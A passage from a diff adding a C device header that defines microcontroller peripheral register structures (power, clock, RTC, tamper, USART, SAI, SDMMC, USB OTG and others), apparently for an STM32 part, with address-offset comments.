APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + __IO uint32_t PUCRF; /*!< Power Port F pull-up control register, Address offset: 0x78 */ + __IO uint32_t PDCRF; /*!< Power Port F pull-down control register, Address offset: 0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ + __IO uint32_t PUCRI; /*!< Power Port I pull-up control register, Address offset: 0x90 */ + __IO uint32_t PDCRI; /*!< Power Port I pull-down control register, Address offset: 0x94 */ + __IO uint32_t PUCRJ; /*!< Power Port J pull-up control register, Address offset: 0x98 */ + __IO uint32_t PDCRJ; /*!< Power Port J pull-down control register, Address offset: 0x9C */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x0A0-0x0A4 */ + __IO uint32_t CR4; /*!< Power power control register 4, Address offset: 0xA8 */ + __IO uint32_t CR5; /*!< Power power control register 5, Address offset: 0xAC */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/** + * @brief PKA + */ +typedef struct +{ + __IO uint32_t CR; /*!< PKA control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< PKA status register, Address offset: 0x04 */ + __IO uint32_t CLRFR; /*!< PKA clear flag register, Address offset: 0x08 */ + uint32_t Reserved[253]; /*!< Reserved memory area Address offset: 0x0C -> 0x03FC */ + __IO uint32_t RAM[1334]; /*!< PKA RAM Address offset: 0x400 -> 0x18D4 */ +} PKA_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ + uint32_t RESERVED2[17]; /*!< RESERVED2, Address offset: 0x30 - 0x70 */ + __IO uint32_t OTGHSPHYCR; /*!< SYSCFG USB OTG_HS PHY register Address offset: 0x74 */ + uint32_t RESERVED3; /*!< RESERVED3, Address offset: 0x78 */ + __IO uint32_t OTGHSPHYTUNER2; /*!< SYSCFG USB OTG_HS PHY tune register 2 Address offset: 0x7C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ +} UCPD_TypeDef; + +/** + * @brief USB_OTG_Core_register + */ +typedef struct +{ + __IO uint32_t GOTGCTL; /*!< USB_OTG Control and Status Register, Address offset: 000h */ + __IO uint32_t GOTGINT; /*!< USB_OTG Interrupt Register, Address offset: 004h */ + __IO uint32_t GAHBCFG; /*!< Core AHB Configuration Register, Address offset: 008h */ + __IO uint32_t GUSBCFG; /*!< Core USB Configuration Register, Address offset: 00Ch */ + __IO uint32_t GRSTCTL; /*!< Core Reset Register, Address offset: 010h */ + __IO uint32_t GINTSTS; /*!< Core Interrupt Register, Address offset: 014h */ + __IO uint32_t GINTMSK; /*!< Core Interrupt Mask Register, Address offset: 018h */ + __IO uint32_t GRXSTSR; /*!< Receive Sts Q Read Register, Address offset: 01Ch */ + __IO uint32_t GRXSTSP; /*!< Receive Sts Q Read & POP Register, Address offset: 020h */ + __IO uint32_t GRXFSIZ; /*!< Receive FIFO Size Register, Address offset: 024h */ + __IO uint32_t DIEPTXF0_HNPTXFSIZ; /*!< EP0 / Non Periodic Tx FIFO Size Register, Address offset: 028h */ + __IO uint32_t HNPTXSTS; /*!< Non Periodic Tx FIFO/Queue Sts reg, Address offset: 02Ch */ + __IO uint32_t Reserved30[2]; /*!< Reserved, Address offset: 030h */ + __IO uint32_t GCCFG; /*!< General Purpose IO Register, Address offset: 038h */ + __IO uint32_t CID; /*!< User ID Register, Address offset: 03Ch */ + __IO uint32_t GSNPSID; /*!< USB_OTG core ID, Address offset: 040h */ + __IO uint32_t GHWCFG1; /*!< User HW config1, Address offset: 044h */ + __IO uint32_t GHWCFG2; /*!< User HW config2, Address offset: 048h */ + __IO uint32_t GHWCFG3; /*!< User HW config3, Address offset: 04Ch */ + __IO uint32_t Reserved6; /*!< Reserved, Address offset: 050h */ + __IO uint32_t GLPMCFG; /*!< LPM Register, Address offset: 054h */ + __IO uint32_t GPWRDN; /*!< Power Down Register, Address offset: 058h */ + __IO uint32_t GDFIFOCFG; /*!< DFIFO Software Config Register, Address offset: 05Ch */ + __IO uint32_t GADPCTL; /*!< ADP Timer, Control and Status Register, Address offset: 60Ch */ + __IO uint32_t Reserved43[39]; /*!< Reserved, Address offset: 058h */ + __IO uint32_t HPTXFSIZ; /*!< Host Periodic Tx FIFO Size Reg, Address offset: 100h */ + __IO uint32_t DIEPTXF[0x0F]; /*!< dev Periodic Transmit FIFO Address offset: 104h */ +} USB_OTG_GlobalTypeDef; + +/** + * @brief USB_OTG_device_Registers + */ +typedef struct +{ + __IO uint32_t DCFG; /*!< dev Configuration Register, Address offset: 800h */ + __IO uint32_t DCTL; /*!< dev Control Register, Address offset: 804h */ + __IO uint32_t DSTS; /*!< dev Status Register (RO), Address offset: 808h */ + uint32_t Reserved0C; /*!< Reserved, Address offset: 80Ch */ + __IO uint32_t DIEPMSK; /*!< dev IN Endpoint Mask, Address offset: 810h */ + __IO uint32_t DOEPMSK; /*!< dev OUT Endpoint Mask, Address offset: 814h */ + __IO uint32_t DAINT; /*!< dev All Endpoints Itr Reg, Address offset: 818h */ + __IO uint32_t DAINTMSK; /*!< dev All Endpoints Itr Mask, Address offset: 81Ch */ + uint32_t Reserved20; /*!< Reserved, Address offset: 820h */ + uint32_t Reserved9; /*!< Reserved, Address offset: 824h */ + __IO uint32_t DVBUSDIS; /*!< dev VBUS discharge Register, Address offset: 828h */ + __IO uint32_t DVBUSPULSE; /*!< dev VBUS Pulse Register, Address offset: 82Ch */ + __IO uint32_t DTHRCTL; /*!< dev threshold, Address offset: 830h */ + __IO uint32_t DIEPEMPMSK; /*!< dev empty msk, Address offset: 834h */ + __IO uint32_t DEACHINT; /*!< dedicated EP interrupt, Address offset: 838h */ + __IO uint32_t DEACHMSK; /*!< dedicated EP msk, Address offset: 83Ch */ + uint32_t Reserved40; /*!< dedicated EP mask, Address offset: 840h */ + __IO uint32_t DINEP1MSK; /*!< dedicated EP mask, Address offset: 844h */ + uint32_t Reserved44[15]; /*!< Reserved, Address offset: 844-87Ch */ + __IO uint32_t DOUTEP1MSK; /*!< dedicated EP msk, Address offset: 884h */ +} USB_OTG_DeviceTypeDef; + + +/** + * @brief USB_OTG_IN_Endpoint-Specific_Register + */ +typedef struct +{ + __IO uint32_t DIEPCTL; /*!< dev IN Endpoint Control Register, Address offset: 900h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 04h */ + __IO uint32_t DIEPINT; /*!< dev IN Endpoint Itr Register, Address offset: 900h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DIEPTSIZ; /*!< IN Endpoint Txfer Size Register, Address offset: 900h + (ep_num * 20h) + 10h */ + __IO uint32_t DIEPDMA; /*!< IN Endpoint DMA Address Register, Address offset: 900h + (ep_num * 20h) + 14h */ + __IO uint32_t DTXFSTS; /*!< IN Endpoint Tx FIFO Status Register, Address offset: 900h + (ep_num * 20h) + 18h */ + __IO uint32_t Reserved18; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 1Ch */ +} USB_OTG_INEndpointTypeDef; + +/** + * @brief USB_OTG_OUT_Endpoint-Specific_Registers + */ +typedef struct +{ + __IO uint32_t DOEPCTL; /*!< dev OUT Endpoint Control Register, Address offset: B00h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 04h */ + __IO uint32_t DOEPINT; /*!< dev OUT Endpoint Itr Register, Address offset: B00h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DOEPTSIZ; /*!< dev OUT Endpoint Txfer Size Register, Address offset: B00h + (ep_num * 20h) + 10h */ + __IO uint32_t 